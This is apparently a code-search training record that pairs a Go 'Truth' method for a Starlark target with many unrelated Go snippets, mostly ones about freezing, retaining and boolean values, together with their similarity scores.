[]*pb.FrozenResponse_Frozen\n\n\tcState.FrozenFunds().GetFrozenFunds(s.blockchain.Height())\n\n\tfor i := s.blockchain.Height(); i <= s.blockchain.Height()+candidates.UnbondPeriod; i++ {\n\n\t\tif timeoutStatus := s.checkTimeout(ctx); timeoutStatus != nil {\n\t\t\treturn nil, timeoutStatus.Err()\n\t\t}\n\n\t\tfunds := cState.FrozenFunds().GetFrozenFunds(i)\n\t\tif funds == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, fund := range funds.List {\n\t\t\tif fund.Address.String() != req.Address {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcoin := reqCoin\n\t\t\tif coin == nil {\n\t\t\t\tcoin = cState.Coins().GetCoin(fund.Coin)\n\t\t\t} else {\n\t\t\t\tif coin.ID() != fund.Coin {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tfrozen = append(frozen, &pb.FrozenResponse_Frozen{\n\t\t\t\tHeight: funds.Height(),\n\t\t\t\tAddress: fund.Address.String(),\n\t\t\t\tCandidateKey: fund.CandidateKey.String(),\n\t\t\t\tCoin: &pb.Coin{\n\t\t\t\t\tId: uint64(fund.Coin),\n\t\t\t\t\tSymbol: coin.GetFullSymbol(),\n\t\t\t\t},\n\t\t\t\tValue: fund.Value.String(),\n\t\t\t})\n\t\t}\n\t}\n\n\treturn &pb.FrozenResponse{Frozen: frozen}, nil\n}", "func (*NoCopy) Lock() {}", "func (px *Paxos) freeMemory() {\n // Assertion: px is already locked by the callee\n\n // reproduction of Min() without requesting a lock\n // Question: Can I do this without duplciating code?\n min := px.done[px.me]\n for i := 0; i < len(px.done); i++ {\n if px.done[i] < min {\n min = px.done[i]\n }\n }\n min += 1\n\n for i, _ := range px.Instances {\n if i < min {\n delete(px.Instances, i)\n }\n }\n}", "func (_Token *TokenFilterer) FilterFreeze(opts *bind.FilterOpts, from []common.Address) (*TokenFreezeIterator, error) {\n\n\tvar fromRule []interface{}\n\tfor _, fromItem := range from {\n\t\tfromRule = append(fromRule, fromItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.FilterLogs(opts, \"Freeze\", fromRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TokenFreezeIterator{contract: _Token.contract, event: \"Freeze\", logs: logs, sub: sub}, nil\n}", "func (_Token *TokenFilterer) WatchFreeze(opts *bind.WatchOpts, sink chan<- *TokenFreeze, from []common.Address) (event.Subscription, error) {\n\n\tvar fromRule []interface{}\n\tfor _, fromItem := range from {\n\t\tfromRule = append(fromRule, fromItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.WatchLogs(opts, \"Freeze\", fromRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TokenFreeze)\n\t\t\t\tif err := _Token.contract.UnpackLog(event, \"Freeze\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "func (s EncryptedChatWaitingArray) Retain(keep func(x EncryptedChatWaiting) bool) EncryptedChatWaitingArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (stackEntry *valuePayloadPropagationStackEntry) Retain() *valuePayloadPropagationStackEntry {\n\treturn &valuePayloadPropagationStackEntry{\n\t\tCachedPayload: stackEntry.CachedPayload.Retain(),\n\t\tCachedPayloadMetadata: stackEntry.CachedPayloadMetadata.Retain(),\n\t\tCachedTransaction: stackEntry.CachedTransaction.Retain(),\n\t\tCachedTransactionMetadata: stackEntry.CachedTransactionMetadata.Retain(),\n\t}\n}", "func (p *BailServiceClient) UnfreezeBail(dealerId int64, amount float64, orderId int64) (r *Bail, err error) {\n\tif err = p.sendUnfreezeBail(dealerId, amount, orderId); err != nil {\n\t\treturn\n\t}\n\treturn p.recvUnfreezeBail()\n}", "func (transaction *TokenUpdateTransaction) GetFreezeKey() Key {\n\treturn transaction.freezeKey\n}", "func (outer outer) Free() bool {\r\n\treturn false\r\n}", "func (o *ParamsReg) Backup() {\n\tcopy(o.bkpTheta, o.theta)\n\to.bkpBias = o.bias\n\to.bkpLambda = o.lambda\n\to.bkpDegree = o.degree\n}", "func (ch *ClickHouse) FreezeTable(table Table) error {\n\tvar partitions []struct {\n\t\tPartitionID string `db:\"partition_id\"`\n\t}\n\tq := fmt.Sprintf(\"SELECT DISTINCT partition_id FROM system.parts WHERE database='%v' AND table='%v'\", table.Database, table.Name)\n\tif err := ch.conn.Select(&partitions, q); err != nil {\n\t\treturn fmt.Errorf(\"can't get partitions for \\\"%s.%s\\\" with %v\", table.Database, table.Name, err)\n\t}\n\tlog.Printf(\"Freeze '%v.%v'\", table.Database, table.Name)\n\tfor _, item := range partitions {\n\t\tif ch.DryRun {\n\t\t\tlog.Printf(\" partition '%v' ...skip becouse dry-run\", item.PartitionID)\n\t\t\tcontinue\n\t\t}\n\t\tlog.Printf(\" partition '%v'\", item.PartitionID)\n\t\t// TODO: find out this magic\n\t\tif item.PartitionID == \"all\" {\n\t\t\titem.PartitionID = \"tuple()\"\n\t\t}\n\t\tif _, err := ch.conn.Exec(\n\t\t\tfmt.Sprintf(\n\t\t\t\t\"ALTER TABLE %v.%v FREEZE PARTITION %v;\",\n\t\t\t\ttable.Database,\n\t\t\t\ttable.Name,\n\t\t\t\titem.PartitionID,\n\t\t\t)); err == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := ch.conn.Exec(\n\t\t\tfmt.Sprintf(\n\t\t\t\t\"ALTER TABLE %v.%v FREEZE PARTITION '%v';\",\n\t\t\t\ttable.Database,\n\t\t\t\ttable.Name,\n\t\t\t\titem.PartitionID,\n\t\t\t)); err != nil {\n\t\t\treturn fmt.Errorf(\"can't freze partiotion '%s' on '%s.%s' with: %v\", item.PartitionID, table.Database, table.Name, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (*noCopy) Lock() {}", "func Free() {\n\tflags = nil // Any future call to Get() will panic on a nil dereference.\n}", "func (f Fill) SetValue(value float64) Fill {\n\tf.value = value\n\treturn f\n}", "func (x *Value) Free() {\n\tif x != nil && x.allocs23e8c9e3 != nil {\n\t\tx.allocs23e8c9e3.(*cgoAllocMap).Free()\n\t\tx.ref23e8c9e3 = nil\n\t}\n}", "func (tb *tensorBase) Retain() {\n\tatomic.AddInt64(&tb.refCount, 1)\n}", "func SyncRuntimeDoSpin()", "func (r RawValues) Retain(values ...string) RawValues {\n\ttoretain := make(map[string]bool)\n\tfor _, v := range values {\n\t\ttoretain[v] = true\n\t}\n\tfiltered := make([]RawValue, 0)\n\tfor _, rawValue := range r {\n\t\tif _, ok := toretain[rawValue.Value]; ok {\n\t\t\tfiltered = append(filtered, rawValue)\n\t\t}\n\t}\n\treturn filtered\n}", "func (_Storage *StorageCaller) AccountFrozen(opts *bind.CallOpts, addr common.Address) (bool, error) {\n\tvar (\n\t\tret0 = new(bool)\n\t)\n\tout := ret0\n\terr := _Storage.contract.Call(opts, out, \"accountFrozen\", addr)\n\treturn *ret0, err\n}", "func (v *VolumesServiceMock) Freeze(podUID string, name string) (vol *api.Volume, err error) {\n\targs := v.Called(podUID, name)\n\tx := args.Get(0)\n\tif x != nil {\n\t\tvol = x.(*api.Volume)\n\t}\n\terr = args.Error(1)\n\treturn\n}", "func FixFreezeLookupMigration(db *IndexerDb, state *MigrationState) error {\n\t// Technically with this query no transactions are needed, and the accounting state doesn't need to be locked.\n\tupdateQuery := \"INSERT INTO txn_participation (addr, round, intra) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING\"\n\tquery := fmt.Sprintf(\"select decode(txn.txn->'txn'->>'fadd','base64'),round,intra from txn where typeenum = %d AND txn.txn->'txn'->'snd' != txn.txn->'txn'->'fadd'\", idb.TypeEnumAssetFreeze)\n\trows, err := db.db.Query(query)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to query transactions: %v\", err)\n\t}\n\tdefer rows.Close()\n\n\ttxprows := make([][]interface{}, 0)\n\n\t// Loop through all transactions and compute account data.\n\tdb.log.Print(\"loop through all freeze transactions\")\n\tfor rows.Next() {\n\t\tvar addr []byte\n\t\tvar round, intra uint64\n\t\terr = rows.Scan(&addr, &round, &intra)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error scanning row: %v\", err)\n\t\t}\n\n\t\ttxprows = append(txprows, []interface{}{addr, round, intra})\n\n\t\tif len(txprows) > 5000 {\n\t\t\terr = updateBatch(db, updateQuery, txprows)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"updating batch: %v\", err)\n\t\t\t}\n\t\t\ttxprows = txprows[:0]\n\t\t}\n\t}\n\n\tif rows.Err() != nil {\n\t\treturn fmt.Errorf(\"error while processing freeze transactions: %v\", rows.Err())\n\t}\n\n\t// Commit any leftovers\n\tif len(txprows) > 0 {\n\t\terr = updateBatch(db, updateQuery, txprows)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"updating batch: %v\", err)\n\t\t}\n\t}\n\n\t// Update migration state\n\treturn upsertMigrationState(db, state, true)\n}", "func (stateObj *stateObject) finalise(prefetch bool) {\n\tlog.Debugf(\"stateObject finalise. address:%x, prefetch:%v\", stateObj.address, prefetch)\n\n\tslotsToPrefetch := make([][]byte, 0, len(stateObj.dirtyStorage))\n\tfor key, value := range stateObj.dirtyStorage {\n\t\tstateObj.pendingStorage[key] = value\n\t\tif value != stateObj.originStorage[key] {\n\t\t\tslotsToPrefetch = append(slotsToPrefetch, common.CopyBytes(key[:])) // Copy needed for closure\n\t\t}\n\t}\n\tif stateObj.db.prefetcher != nil && prefetch && len(slotsToPrefetch) > 0 && stateObj.data.Root != emptyRoot {\n\t\tstateObj.db.prefetcher.prefetch(stateObj.addrHash, stateObj.data.Root, slotsToPrefetch)\n\t}\n\tif len(stateObj.dirtyStorage) > 0 {\n\t\tstateObj.dirtyStorage = make(Storage)\n\t}\n}", "func UnfreezeClock(t *testing.T) {\n\tif t == nil {\n\t\tpanic(\"nice try\")\n\t}\n\tc = &DefaultClock{}\n}", "func (this *Tidy) Bare(val bool) (bool, error) {\n\treturn this.optSetBool(C.TidyMakeBare, cBool(val))\n}", "func (o *FreezeParams) WithHTTPClient(client *http.Client) *FreezeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "func (m *MemoryStateDB) ExecFrozen(tx *types.Transaction, addr string, amount int64) bool {\n\tif nil == tx {\n\t\tlog15.Error(\"ExecFrozen get nil tx\")\n\t\treturn false\n\t}\n\n\texecaddr := address.ExecAddress(string(tx.Execer))\n\tret, err := m.CoinsAccount.ExecFrozen(addr, execaddr, amount)\n\tif err != nil {\n\t\tlog15.Error(\"ExecFrozen error\", \"addr\", addr, \"execaddr\", execaddr, \"amount\", amount, \"err info\", err)\n\t\treturn false\n\t}\n\n\tm.addChange(balanceChange{\n\t\tamount: amount,\n\t\tdata: ret.KV,\n\t\tlogs: ret.Logs,\n\t})\n\n\treturn true\n}", "func (m *neighborEntryRWMutex) RLockBypass() {\n\tm.mu.RLock()\n}", "func (vals PendingValues) lockSet(inst, prop ident.Id, nilVal, want interface{}) (err error) {\n\tif reflect.TypeOf(nilVal) != reflect.TypeOf(want) {\n\t\terr = SetValueMismatch(inst, prop, nilVal, want)\n\t} else if curr, have := vals[prop]; have && curr != want {\n\t\terr = SetValueChanged(inst, prop, curr, want)\n\t} else {\n\t\tvals[prop] = want\n\t}\n\treturn err\n}", "func (s IPPortSecretArray) Retain(keep func(x IPPortSecret) bool) IPPortSecretArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (f *IndexFile) Retain() { f.wg.Add(1) }", "func (_Token *TokenTransactor) FreezeTokens(opts *bind.TransactOpts, account common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _Token.contract.Transact(opts, \"freezeTokens\", account, amount)\n}", "func (n *metadataNode) assertFrozen() {\n\tif n.acls != nil {\n\t\tpanic(\"not frozen yet\")\n\t}\n}", "func (b *Boolean) Reset() {\n\tb.Value = false\n\tb.Default = false\n\tb.Initialized = false\n\tBooleanPool.Put(b)\n}", "func (l *FixedLimiter) Reset() {\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\tl.value = 0\n}", "func (tester* FreezeTester) nonBpVote(t *testing.T, d *Dandelion) {\n\ta := assert.New(t)\n\ta.True(d.Contract(constants.COSSysAccount, frCrtName).CheckExist())\n\tfreezeAcct := tester.acc5\n\tsta := freezeAcct.GetFreeze()\n\tmemo := freezeAcct.GetFreezeMemo()\n\tnewSta := tester.mdFreezeStatus(sta)\n\ta.NotEqual(sta, newSta)\n\tmemoArray,nameArray := tester.getProposalMemoAndNameParams(d,[]*DandelionAccount{freezeAcct})\n\n\t//1.proposal\n\tApplyNoError(t, d, fmt.Sprintf(\"%s: %s.%s.proposalfreeze %s,%d,%s\", tester.acc0.Name, constants.COSSysAccount, frCrtName, nameArray, newSta, memoArray))\n\t//2.fetch proposal_id\n\tpropId,err := tester.getProposalId(d)\n\ta.NoError(err)\n\t//less than 2/3 bp vote to proposalId\n\ttester.voteById(t, d, propId, 0, tester.threshold-1)\n\t//non bp vote\n\tApplyError(t, d, fmt.Sprintf(\"%s: %s.%s.vote %v\", tester.acc4.Name, constants.COSSysAccount, frCrtName, propId))\n\t//final vote fail, set freeze fail\n\ta.Equal(sta, freezeAcct.GetFreeze())\n\ta.Equal(memo, freezeAcct.GetFreezeMemo())\n\n}", "func (s *Send) FreeVars() []Name {\n\tfv := []Name{}\n\tfor _, v := range s.Vals {\n\t\tfv = append(fv, v)\n\t}\n\tsort.Sort(byName(fv))\n\treturn RemDup(fv)\n}", "func (v Chunk) Retain() {\n\tv.buf.Retain()\n}", "func (p *PKGBUILD) RecomputeValues() {\n\tp.info.RecomputeValues()\n}", "func (m *neighborEntryRWMutex) RUnlockBypass() {\n\tm.mu.RUnlock()\n}", "func (lv *LazyValue) Reset() {\n\tlv.Lock()\n\tdefer lv.Unlock()\n\n\tlv.ready = false\n\tlv.value = values.None\n\tlv.err = nil\n}", "func (this *FeedableBuffer) Minimize() {\n\tthis.Data = this.Data[:this.minByteCount]\n}", "func (s *slotted) UnReserve() {\n\tif atomic.AddInt32((*int32)(s), -1) < 0 {\n\t\tatomic.StoreInt32((*int32)(s), 0)\n\t}\n}", "func (f *Flag) Set() { atomic.CompareAndSwapUint32((*uint32)(unsafe.Pointer(f)), 0, 1) }", "func (tl *TimeLockCondition) Fulfill(fulfillment UnlockFulfillment, ctx FulfillContext) error {\n\tif !tl.Fulfillable(FulfillableContext{BlockHeight: ctx.BlockHeight, BlockTime: ctx.BlockTime}) {\n\t\treturn errors.New(\"time lock has not yet been reached\")\n\t}\n\n\t// time lock hash been reached,\n\t// delegate the actual fulfillment to the given fulfillment, if supported\n\tswitch tf := fulfillment.(type) {\n\tcase *SingleSignatureFulfillment:\n\t\treturn tl.Condition.Fulfill(tf, ctx)\n\tcase *MultiSignatureFulfillment:\n\t\treturn tl.Condition.Fulfill(tf, ctx)\n\tdefault:\n\t\treturn ErrUnexpectedUnlockFulfillment\n\t}\n}", "func DeferLiveness() {\n\tvar x [10]int\n\tescape(&x)\n\tfn := func() {\n\t\tif x[0] != 42 {\n\t\t\tpanic(\"FAIL\")\n\t\t}\n\t}\n\tdefer fn()\n\n\tx[0] = 42\n\truntime.GC()\n\truntime.GC()\n\truntime.GC()\n}", "func (this *Hash) Shrink() {\n\tif this == nil {\n\t\treturn\n\t}\n\n\tif this.lock {\n\t\tthis.mu.Lock()\n\t\tdefer this.mu.Unlock()\n\t}\n\n\tthis.loose.shrink()\n\tthis.compact.shrink(this.loose.a)\n}", "func (cpu *CPU) writeHalfcarryFlag(val bool) {\n if val {\n cpu.f = cpu.f ^ ( 1 << 5 )\n }\n}", "func (n *Number) Reset() {\n\tn.Value = 0.0\n\tn.Initialized = false\n\tNumberPool.Put(n)\n}", "func (x *FzStrokeState) Free() {\n\tif x != nil {\n\t\tC.free(unsafe.Pointer(x))\n\t}\n}", "func (b *LeakyLimiter) Reset() time.Time {\n\tb.remaining = b.capacity\n\treturn b.reset\n}", "func (c *CycleState) Unlock() {\n\tc.mx.Unlock()\n}", "func Fill(value bool) *SimpleElement { return newSEBool(\"fill\", value) }", "func (c *Container) frozen() bool {\n\tif c == nil {\n\t\treturn true\n\t}\n\treturn (c.flags & flagFrozen) != 0\n}", "func (b *Buffer) Retain() {\n\tif b.mem != nil || b.parent != nil {\n\t\tatomic.AddInt64(&b.refCount, 1)\n\t}\n}", "func (m *Mutex) ForceRealse() {\n\tatomic.StoreUint32(&m.l, 0)\n}", "func Relax(out1 *LooseFieldElement, arg1 *TightFieldElement) {\n\tx1 := arg1[0]\n\tx2 := arg1[1]\n\tx3 := arg1[2]\n\tx4 := arg1[3]\n\tx5 := arg1[4]\n\tout1[0] = x1\n\tout1[1] = x2\n\tout1[2] = x3\n\tout1[3] = x4\n\tout1[4] = x5\n}" ]
[ "0.629121", "0.61709946", "0.6089411", "0.60298693", "0.59620976", "0.58217835", "0.57199144", "0.5709729", "0.5635698", "0.5491367", "0.5444173", "0.5394565", "0.536854", "0.5366694", "0.53647643", "0.5217478", "0.5201497", "0.5199691", "0.5163645", "0.5118248", "0.5094646", "0.50705296", "0.49911997", "0.49585488", "0.49480417", "0.49474224", "0.4928673", "0.49135697", "0.4906327", "0.48996666", "0.4885424", "0.4855675", "0.48224056", "0.48167235", "0.4797175", "0.47290012", "0.45966762", "0.4593359", "0.45928454", "0.45717788", "0.45463032", "0.45235473", "0.45216572", "0.4518003", "0.45089075", "0.45087507", "0.44762477", "0.44738653", "0.44621104", "0.4441628", "0.4440062", "0.44034517", "0.43876907", "0.43816802", "0.4362988", "0.43589383", "0.4355712", "0.43394676", "0.43389082", "0.4318574", "0.43118986", "0.4294725", "0.42940456", "0.4269193", "0.4262917", "0.42545116", "0.4234557", "0.42305636", "0.4225275", "0.4220057", "0.4214381", "0.42096722", "0.42051747", "0.4176754", "0.41728988", "0.4169668", "0.41670215", "0.41624624", "0.41623878", "0.41623512", "0.41481364", "0.41467074", "0.41422772", "0.41346204", "0.41344106", "0.41291258", "0.41181058", "0.41177505", "0.41171423", "0.41154474", "0.4115406", "0.4113516", "0.410938", "0.41078776", "0.40973213", "0.40971446", "0.40919363", "0.40890986", "0.40885434", "0.40812027" ]
0.5877203
5
Truth implements the starlark.Value.Truth() method.
func (t *Target) Truth() starlark.Bool { return starlark.Bool(t == nil) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func truth(r reflect.Value) bool {\nout:\n\tswitch r.Kind() {\n\tcase reflect.Array, reflect.Slice:\n\t\treturn r.Len() > 0\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn r.Int() > 0\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\treturn r.Uint() > 0\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn r.Float() > 0\n\tcase reflect.String:\n\t\treturn r.String() != \"\"\n\tcase reflect.Bool:\n\t\treturn r.Bool()\n\tcase reflect.Ptr, reflect.Interface:\n\t\tr = r.Elem()\n\t\tgoto out\n\tdefault:\n\t\treturn r.Interface() != nil\n\t}\n}", "func True() TermT {\n\treturn TermT(C.yices_true())\n}", "func True(actual interface{}) Truth {\n\tmustBeCleanStart()\n\treturn Truth{actual.(bool), fmt.Sprintf(\"%#v\", actual)}\n}", "func (v *Value) Bool() bool {\n return Util.ToBool(v.data)\n}", "func (m *kubePackage) Truth() starlark.Bool { return starlark.True }", "func True(t TestingT, v interface{}, extras ...interface{}) bool {\n\tval, ok := v.(bool)\n\tif !ok || val != true {\n\t\texps, acts := toString(true, v)\n\n\t\treturn Errorf(t, \"Expect to be true\", []labeledOutput{\n\t\t\t{\n\t\t\t\tlabel: labelMessages,\n\t\t\t\tcontent: formatExtras(extras...),\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"-expected\",\n\t\t\t\tcontent: exps,\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"+received\",\n\t\t\t\tcontent: acts,\n\t\t\t},\n\t\t})\n\t}\n\n\treturn true\n}", "func (n *Node) Bool() bool", "func (v Value) Bool() (bool, error) {\n\tif v.typ != Bool {\n\t\treturn false, v.newError(\"%s is not a bool\", v.Raw())\n\t}\n\treturn v.boo, nil\n}", "func (m *Value) Bool() bool { return m.BoolMock() }", "func (v Value) Bool() bool {\n\treturn v.Integer() != 0\n}", "func True(v bool) {\n\tassert(v, 1, \"assert true\")\n}", "func Bool(x bool) bool { return x }", "func (sp booleanSpace) BoolOutcome(value bool) Outcome {\n\tif value {\n\t\treturn 1\n\t} else {\n\t\treturn 0\n\t}\n}", "func (i *Instance) Truth() exprcore.Bool {\n\treturn exprcore.True\n}", "func (sp booleanSpace) BoolValue(outcome Outcome) bool {\n\treturn outcome != 0\n}", "func (v Value) Truthy() bool {\n\tswitch v.Type() {\n\tcase TypeUndefined, TypeNull:\n\t\treturn false\n\tcase TypeBoolean:\n\t\treturn v.Bool()\n\tcase TypeNumber:\n\t\treturn !v.IsNaN() && v.Float() != 0\n\tcase TypeString:\n\t\treturn v.String() != \"\"\n\tcase TypeSymbol, TypeFunction, TypeObject:\n\t\treturn true\n\tdefault:\n\t\tpanic(\"bad type\")\n\t}\n}", "func (r Record) Bool(key string) bool {\n\tif r.dropped {\n\t\tlog.Fatalf(\"Int called on dropped record\")\n\t}\n\n\tval, ok := r.values[key]\n\tif !ok {\n\t\treturn false\n\t}\n\n\tswitch val := val.(type) {\n\tcase nil:\n\t\treturn false\n\tcase string:\n\t\treturn val == \"true\"\n\tcase int64:\n\t\treturn val != 0\n\tcase float64:\n\t\treturn val != 0.0\n\tcase bool:\n\t\treturn val\n\t}\n\n\treturn false\n}", "func (o BoolOperand) Evaluate(cxt interface{}) (bool, error) {\n\treturn o.Value, nil\n}", "func (o Nil) Truthy() bool { return false }", "func (v Value) Truthy() bool {\n\tpanic(message)\n}", "func (tr Row) Bool(nn int) (val bool) {\n\tval, err := tr.BoolErr(nn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn\n}", "func Bool(a bool) cell.I {\n\tif a {\n\t\treturn sym.True\n\t}\n\n\treturn pair.Null\n}", "func (b *Bool) Literal() {}", "func (tv *TypedBool) Bool() bool {\n\treturn tv.Bytes[0] == 1\n}", "func (v Value) Bool() bool {\n\treturn v.v.Bool()\n}", "func (b *Boolean) True() *Boolean {\n\treturn b.Equal(true)\n}", "func (BooleanLiteral) literalNode() {}", "func (r *TTNRandom) Bool() bool {\n\treturn r.Interface.Intn(2) == 0\n}", "func True(Right) bool {\n\treturn true\n}", "func (n Nil) True() bool { return false }", "func (v *Value) Bool() (bool, error) {\n\tif v.kind == kindBool {\n\t\treturn v.boolContent, nil\n\t}\n\treturn false, nil\n}", "func IsTruthy(val string) bool {\n\tswitch strings.ToLower(strings.TrimSpace(val)) {\n\tcase \"y\", \"yes\", \"true\", \"t\", \"on\", \"1\":\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "func Truthy(t *testing.T, name string, v bool) {\n\tif !v {\n\t\tflux.FatalFailed(t, \"Expected truthy value for %s\", name)\n\t} else {\n\t\tflux.LogPassed(t, \"%s passed with truthy value\", name)\n\t}\n}", "func Bool(r interface{}, err error) (bool, error) {\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tswitch r := r.(type) {\n\tcase bool:\n\t\treturn r, err\n\t// Very common in redis to reply int64 with 0 for bool flag.\n\tcase int:\n\t\treturn r != 0, nil\n\tcase int64:\n\t\treturn r != 0, nil\n\tcase []byte:\n\t\treturn strconv.ParseBool(string(r))\n\tcase string:\n\t\treturn strconv.ParseBool(r)\n\tcase nil:\n\t\treturn false, simplesessions.ErrNil\n\t}\n\treturn false, simplesessions.ErrAssertType\n}", "func BoolVal(x Value) bool {\n\treturn constant.BoolVal(x)\n}", "func (o *FakeObject) Bool() bool { return o.Value.(bool) }", "func False() TermT {\n\treturn TermT(C.yices_false())\n}", "func True(t Testing, v interface{}, formatAndArgs ...interface{}) bool {\n\tvar tv bool\n\tswitch v.(type) {\n\tcase bool:\n\t\ttv = v.(bool)\n\t}\n\n\tif tv != true {\n\t\treturn Fail(t, pretty.Sprintf(\"Expected %# v to be true\", v), formatAndArgs...)\n\t}\n\n\treturn true\n}", "func BoolConstValue(t TermT, val *int32) int32 {\n\treturn int32(C.yices_bool_const_value(C.term_t(t), (*C.int32_t)(val)))\n}", "func (s *Smpval) Bool() bool {\n\treturn s.b\n}", "func Bool(v *Value, def bool) bool {\n\tb, err := v.Bool()\n\tif err != nil {\n\t\treturn def\n\t}\n\treturn b\n}", "func (n BoolWrapper) Value() (Value, error) {\n\tif !n.Valid {\n\t\treturn nil, nil\n\t}\n\treturn n.Bool, nil\n}", "func (s *Sub) Truth() starlark.Bool { return s == nil }", "func wrapWithIsTrue(ctx sessionctx.Context, keepNull bool, arg Expression) (Expression, error) {\n\tif arg.GetType().EvalType() == types.ETInt {\n\t\treturn arg, nil\n\t}\n\tfc := &isTrueOrFalseFunctionClass{baseFunctionClass{ast.IsTruth, 1, 1}, opcode.IsTruth, keepNull}\n\tf, err := fc.getFunction(ctx, []Expression{arg})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsf := &ScalarFunction{\n\t\tFuncName: model.NewCIStr(ast.IsTruth),\n\t\tFunction: f,\n\t\tRetType: f.getRetTp(),\n\t}\n\treturn FoldConstant(sf), nil\n}", "func True(t testing.TB, value bool, msgAndArgs ...interface{}) bool {\n\tif !value {\n\t\treturn failTest(t, 1, fmt.Sprintf(\"True: expected `true`, actual `%#v`\", value), msgAndArgs...)\n\t}\n\n\treturn true\n}", "func (e *Encoder) Bool(v bool) (int, error) {\n\tif v {\n\t\treturn e.Byte(0x1)\n\t}\n\treturn e.Byte(0x0)\n}", "func Bool(v bool) (p *bool) { return &v }", "func (n *NotLikeOp) IsTrue(left, right EvalResult) (bool, error) {\n\treturn false, nil\n}", "func (v Bool) Bool() bool {\n\treturn v.v\n}", "func BoolVal(b *bool) bool {\n\tif b == nil {\n\t\treturn false\n\t}\n\treturn *b\n}", "func Bool(val interface{}) (bool, error) {\n\tif val == nil {\n\t\treturn false, nil\n\t}\n\tswitch ret := val.(type) {\n\tcase bool:\n\t\treturn ret, nil\n\tcase int, int8, int16, int32, int64, float32, float64, uint, uint8, uint16, uint32, uint64:\n\t\treturn ret != 0, nil\n\tcase []byte:\n\t\treturn stringToBool(string(ret))\n\tcase string:\n\t\treturn stringToBool(ret)\n\tdefault:\n\t\treturn false, converError(val, \"bool\")\n\t}\n}", "func (b *Bool) Value() bool {\n\t// generate nil checks and faults early.\n\tref := &b.i\n\treturn atomic.LoadUint64(ref) == 1\n}", "func TestNewResult_bool(t *testing.T) {\n\tvar reading interface{} = true\n\treq := models.CommandRequest{\n\t\tDeviceResourceName: \"light\",\n\t\tType: common.ValueTypeBool,\n\t}\n\n\tcmdVal, err := newResult(req, reading)\n\tif err != nil {\n\t\tt.Fatalf(\"Fail to create new ReadCommand result, %v\", err)\n\t}\n\tval, err := cmdVal.BoolValue()\n\tif val != true || err != nil {\n\t\tt.Errorf(\"Convert new result(%v) failed, error: %v\", val, err)\n\t}\n}", "func (n *SoupNode) Truth() starlark.Bool {\n\treturn n != nil\n}", "func (v *Value) Bool() bool {\n\treturn (bool)(C.value_get_bool(v.value))\n}", "func IsTruthy(s string) bool {\n\treturn s == \"1\" || strings.EqualFold(s, \"true\")\n}", "func (h *Random) Bool() bool {\n\tboolList := []bool{true, false}\n\trandomIndex := rand.Intn(len(boolList))\n\treturn boolList[randomIndex]\n}", "func TestCheckBinaryExprBoolRhlBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectCheckError(t, `true >> true`, env,\n\t\t`invalid operation: true >> true (shift count type bool, must be unsigned integer)`,\n\t)\n\n}", "func Bool(value interface{}) bool {\n\tret, err := BoolE(value)\n\tif err != nil {\n\t\tmod.Error(err)\n\t}\n\treturn ret\n}", "func (nvp *NameValues) Bool(name string) (bool, bool) {\n\tvalue, _ := nvp.String(name)\n\treturn (value == \"true\" || value == \"yes\" || value == \"1\" || value == \"-1\" || value == \"on\"), true\n}", "func Boolean() Scalar {\n\treturn booleanTypeInstance\n}", "func TestCheckBinaryExprBoolNeqBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectConst(t, `true != true`, env, (true != true), ConstBool)\n}", "func (v Value) Bool() bool {\n\tpanic(message)\n}", "func (l *LikeOp) IsTrue(left, right EvalResult) (bool, error) {\n\treturn false, nil\n}", "func TestFetchTrueBool(t *testing.T) {\n\texpected := \"true\"\n\tinput := \"rue\"\n\treader := bytes.NewReader([]byte(input))\n\tlex := NewLexer(reader)\n\tif err := lex.fetchTrueBool(); err != nil 